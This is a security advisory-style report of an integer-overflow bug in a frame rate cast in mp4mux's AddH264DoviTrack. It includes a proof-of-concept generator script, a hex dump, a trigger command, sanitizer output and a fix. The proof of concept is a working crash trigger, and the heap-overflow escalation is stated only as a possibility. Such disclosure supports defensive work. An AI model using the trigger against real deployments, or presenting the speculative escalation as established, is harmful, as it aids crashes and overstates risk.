Integer Overflow in AddH264DoviTrack Frame Rate Calculation

[sgzeng]

1. Title

Integer overflow / undefined behavior in AddH264DoviTrack: unchecked conversion of attacker-supplied frame rate to unsigned int via double multiplication at Mp4Mux.cpp:1257.

2. Severity

High — CWE-190 (Integer Overflow), CWE-680 (Integer Overflow to Buffer Overflow), CWE-122 (Heap-Based Buffer Overflow)

3. Source Identifier

SF98

4. Affected Component

• Binary: mp4mux
• Source file: Source/C++/Apps/Mp4Mux/Mp4Mux.cpp
• Function: AddH264DoviTrack
• Vulnerable line: 1257

video_frame_rate = (unsigned int)(1000.0*frame_rate);

5. Commit That Introduced

7a809b20c8025562c646a981a70be761a1fd4446
1.support 'avc1', 'avc3', 'hvc1', 'hev1' format.
2. add brands for Dolby Vision profiles in MP4 container.
Author: Xingzhao Yun <xyun@dolby.com>  (2022-10-17)

HEAD at time of analysis: b8c50a078356a1c3444ce0a8744634ed488424a4

6. Analysis

AddH264DoviTrack is called when a user invokes mp4mux --track h264:<file>#dv_profile=<N>,.... The function reads the frame_rate parameter as a double via atof, then converts it to the 32-bit unsigned timescale variable video_frame_rate on line 1257:

video_frame_rate = (unsigned int)(1000.0*frame_rate);

In C and C++, converting a floating-point value to an integer type when the value lies outside the representable range is undefined behavior (ISO/IEC 9899:2018 §6.3.1.4, ISO/IEC 14882:2020 §7.3.10). No prior bounds check validates that 1000.0 * frame_rate fits inside [0, 2^32 - 1]. Any frame_rate > 4294967.295 (approximately 4.3 million FPS) causes the product to exceed UINT32_MAX and triggers UB.

The resulting corrupted value is stored as media_timescale (line 1455) and passed to AP4_ConvertTime and the AP4_Track constructor (lines 1456-1470). On common ARM64 hardware the UB manifests as a wrapped or zero timescale, causing downstream miscalculations of track and media durations; with UBSAN instrumentation the runtime aborts immediately.

A zero media_timescale fed into AP4_ConvertTime is guarded against division-by-zero by that function's own zero-check, but the semantic corruption of duration fields produces malformed MP4 output. Under different compiler optimizations the UB can produce smaller timescale values, potentially enabling downstream heap-buffer misuse (CWE-680/CWE-122) when those values are used to size read/write buffers elsewhere in the library.

7. Reproducible Test Case

python3 gen_poc.py     # produces poc_h264dovi_overflow.h264

mkdir -p cmakebuild-ubsan && cd cmakebuild-ubsan
cmake .. -DCMAKE_BUILD_TYPE=Debug -DENABLE_ASAN=OFF \
      -DCMAKE_CXX_FLAGS="-fsanitize=undefined -fno-omit-frame-pointer -g" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=undefined"
make -j$(nproc) mp4mux
cd ..

UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 \
./cmakebuild-ubsan/mp4mux \
  --track 'h264:poc_h264dovi_overflow.h264#dv_profile=9,dv_bc=2,frame_rate=4294968' \
  output.mp4

Input: poc_h264dovi_overflow.h264 (40-byte minimal Annex-B H.264: SPS+PPS+IDR)
frame_rate: 4294968 (1000 * 4294968 = 4294968000 > UINT32_MAX = 4294967295)

Hex dump of the 40-byte PoC:

00000000: 0000 0001 6742 c01e d900 a700 0040 0000  ....gB.......@..
00000010: 0300 f188 fde1 0000 0001 68ce 3880 0000  ..........h.8...
00000020: 0001 6588 8400 33ff                      ..e...3.

Exit code: 134 (SIGABRT from UBSAN halt_on_error)

8. Crash Stack Trace (UBSAN output)

Source/C++/Apps/Mp4Mux/Mp4Mux.cpp:1257:46: runtime error: 4.29497e+09 is outside the range of representable values of type 'unsigned int'
    #0 0x... in AddH264DoviTrack(AP4_Movie&, char const*, AP4_Array<Parameter>&, AP4_Array<unsigned int>&, SampleFileStorage&) Mp4Mux.cpp:1257
    #1 0x... in main Mp4Mux.cpp:2342
    #2 0x... in start+0x1b4c (dyld:arm64e+0xbdfc)

SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior Source/C++/Apps/Mp4Mux/Mp4Mux.cpp:1257:46

verified=true, exit code 134

9. Input generation script

gen_poc.py generates the 40-byte poc_h264dovi_overflow.h264 file (minimal Annex-B H.264 stream: SPS Baseline Profile 16x16, minimal PPS, minimal IDR slice):

#!/usr/bin/env python3
"""
PoC generator for SF98 — Integer overflow in AddH264DoviTrack frame rate calculation
File: Source/C++/Apps/Mp4Mux/Mp4Mux.cpp, line 1257

The vulnerable line is:
    video_frame_rate = (unsigned int)(1000.0*frame_rate);

When frame_rate > 4294967.295 the product 1000.0*frame_rate exceeds UINT32_MAX
and the conversion to unsigned int is undefined behavior (UB). UBSAN reports:
    runtime error: <value> is outside the range of representable values of type 'unsigned int'
"""

import struct
import os
import sys

OUT_DIR = os.path.dirname(os.path.abspath(__file__))
H264_PATH = os.path.join(OUT_DIR, "poc_h264dovi_overflow.h264")


def annex_b(nal_bytes: bytes) -> bytes:
    """Wrap a NAL unit in Annex B start code."""
    return b'\x00\x00\x00\x01' + nal_bytes


def build_minimal_h264() -> bytes:
    """
    Build a minimal Annex-B H.264 bitstream with:
      - SPS: Baseline Profile, Level 3.0, 16x16
      - PPS: minimal
      - IDR slice: minimal
    This is the smallest valid stream that makes AP4_AvcFrameParser produce
    at least one access unit, satisfying the SPS presence check in
    AddH264DoviTrack so execution reaches the track-creation code path.
    """
    # SPS: profile_idc=66 (Baseline), constraint_set0_flag=1,
    #      level_idc=30, seq_parameter_set_id=0, log2_max_frame_num_minus4=0,
    #      pic_order_cnt_type=0, log2_max_pic_order_cnt_lsb_minus4=0,
    #      num_ref_frames=1, gaps_in_frame_num_value_allowed_flag=0,
    #      pic_width_in_mbs_minus1=0 (1 MB = 16 px wide),
    #      pic_height_in_map_units_minus1=0 (1 MB = 16 px tall),
    #      frame_mbs_only_flag=1, direct_8x8_inference_flag=0,
    #      frame_cropping_flag=0, vui_parameters_present_flag=0
    sps = bytes([
        0x67, 0x42, 0xc0, 0x1e,
        0xd9, 0x00, 0xa7, 0x00,
        0x00, 0x40, 0x00, 0x00,
        0x03, 0x00, 0xf1, 0x88,
        0xfd, 0xe1,
    ])

    # PPS: minimal picture parameter set
    pps = bytes([0x68, 0xce, 0x38, 0x80])

    # IDR slice: minimal I-slice header
    idr = bytes([0x65, 0x88, 0x84, 0x00, 0x33, 0xff])

    return annex_b(sps) + annex_b(pps) + annex_b(idr)


def main():
    payload = build_minimal_h264()
    with open(H264_PATH, 'wb') as f:
        f.write(payload)
    print(f"[+] PoC H264 file written to: {H264_PATH}")
    print(f"    Size: {len(payload)} bytes")
    print()
    print("[+] Trigger with:")
    print(f"    UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 \\")
    print(f"    ./cmakebuild-ubsan/mp4mux \\")
    print(f"    --track 'h264:{H264_PATH}#dv_profile=9,dv_bc=2,frame_rate=4294968' \\")
    print(f"    output.mp4")
    print()
    print("[!] Expected: UBSAN runtime error at Mp4Mux.cpp:1257, exit code 134")


if __name__ == "__main__":
    main()

10. Proposed Fix

Replace the unchecked cast on line 1257 of Source/C++/Apps/Mp4Mux/Mp4Mux.cpp with an explicit range guard:

--- a/Source/C++/Apps/Mp4Mux/Mp4Mux.cpp
+++ b/Source/C++/Apps/Mp4Mux/Mp4Mux.cpp
@@ -1254,7 +1254,15 @@
                 input->Release();
                 return;
             }
-            video_frame_rate = (unsigned int)(1000.0*frame_rate);
+            {
+                double computed = 1000.0 * frame_rate;
+                if (computed < 1.0 || computed > (double)0xFFFFFFFFu) {
+                    fprintf(stderr, "ERROR: video frame rate out of range: %s\n", parameters[i].m_Value.GetChars());
+                    input->Release();
+                    return;
+                }
+                video_frame_rate = (AP4_UI32)computed;
+            }
         } else if (parameters[i].m_Name == "format") {
             if (parameters[i].m_Value == "avc1") {
                 format = AP4_SAMPLE_FORMAT_AVC1;

The same pattern should be applied to the three analogous sites at lines ~1010, ~1531, and ~1822 in AddH264Track and AddH265Track.